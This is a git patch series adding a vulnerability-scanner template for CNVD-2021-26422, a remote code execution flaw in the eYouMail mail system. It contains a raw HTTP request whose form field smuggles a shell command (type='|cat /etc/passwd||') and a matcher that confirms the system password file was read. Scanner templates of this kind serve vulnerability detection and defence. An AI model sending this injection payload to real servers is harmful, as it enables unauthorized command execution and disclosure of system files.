From b7dd79e5019027173a2b58ca66a018cc7986e1c7 Mon Sep 17 00:00:00 2001
From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com>
Date: Sun, 20 Mar 2022 06:51:42 +0700
Subject: [PATCH 1/3] Create CNVD-2021-26422.yaml

---
 cnvd/2021/CNVD-2021-26422.yaml | 37 ++++++++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 cnvd/2021/CNVD-2021-26422.yaml

diff --git a/cnvd/2021/CNVD-2021-26422.yaml b/cnvd/2021/CNVD-2021-26422.yaml
new file mode 100644
index 0000000000..21e209255f
--- /dev/null
+++ b/cnvd/2021/CNVD-2021-26422.yaml
@@ -0,0 +1,37 @@
+id: CNVD-2021-26422
+
+info:
+  name: eYouMail - Remote Code Execution
+  author: daffainfo
+  severity: critical
+  reference:
+    - https://github.com/ltfafei/my_POC/blob/master/CNVD-2021-26422_eYouMail/CNVD-2021-26422_eYouMail_RCE_POC.py
+    - https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/%E4%BA%BF%E9%82%AE%E9%82%AE%E4%BB%B6%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20(CNVD-2021-26422).md
+  tags: eyoumail,rce,cnvd,cnvd2021
+
+requests:
+  - raw:
+      - |
+        POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Sec-Fetch-Site: none
+        Sec-Fetch-Mode: navigate
+        Sec-Fetch-Dest: document
+        Accept-Encoding: gzip, deflate
+        Accept-Language: zh-CN,zh;q=0.9
+        Content-Type: application/x-www-form-urlencoded
+        
+        type='|cat /etc/passwd||'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

From 33a8e47c9c3e923a66ee393ed38900f4d773d057 Mon Sep 17 00:00:00 2001
From: Muhammad Daffa <36522826+daffainfo@users.noreply.github.com>
Date: Sun, 20 Mar 2022 06:53:45 +0700
Subject: [PATCH 2/3] Fix trailing spaces

---
 cnvd/2021/CNVD-2021-26422.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/cnvd/2021/CNVD-2021-26422.yaml b/cnvd/2021/CNVD-2021-26422.yaml
index 21e209255f..9c68aa2f07 100644
--- a/cnvd/2021/CNVD-2021-26422.yaml
+++ b/cnvd/2021/CNVD-2021-26422.yaml
@@ -23,7 +23,7 @@ requests:
         Accept-Encoding: gzip, deflate
         Accept-Language: zh-CN,zh;q=0.9
         Content-Type: application/x-www-form-urlencoded
-        
+
         type='|cat /etc/passwd||'
 
     matchers-condition: and

From bffaf475de9297c057dd9adcd4afa68eaf607b6d Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Sun, 20 Mar 2022 12:46:34 +0530
Subject: [PATCH 3/3] Update CNVD-2021-26422.yaml

---
 cnvd/2021/CNVD-2021-26422.yaml | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/cnvd/2021/CNVD-2021-26422.yaml b/cnvd/2021/CNVD-2021-26422.yaml
index 9c68aa2f07..d6359ff64e 100644
--- a/cnvd/2021/CNVD-2021-26422.yaml
+++ b/cnvd/2021/CNVD-2021-26422.yaml
@@ -14,14 +14,6 @@ requests:
       - |
         POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
         Host: {{Hostname}}
-        Connection: close
-        Upgrade-Insecure-Requests: 1
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
-        Sec-Fetch-Site: none
-        Sec-Fetch-Mode: navigate
-        Sec-Fetch-Dest: document
-        Accept-Encoding: gzip, deflate
-        Accept-Language: zh-CN,zh;q=0.9
         Content-Type: application/x-www-form-urlencoded
 
         type='|cat /etc/passwd||'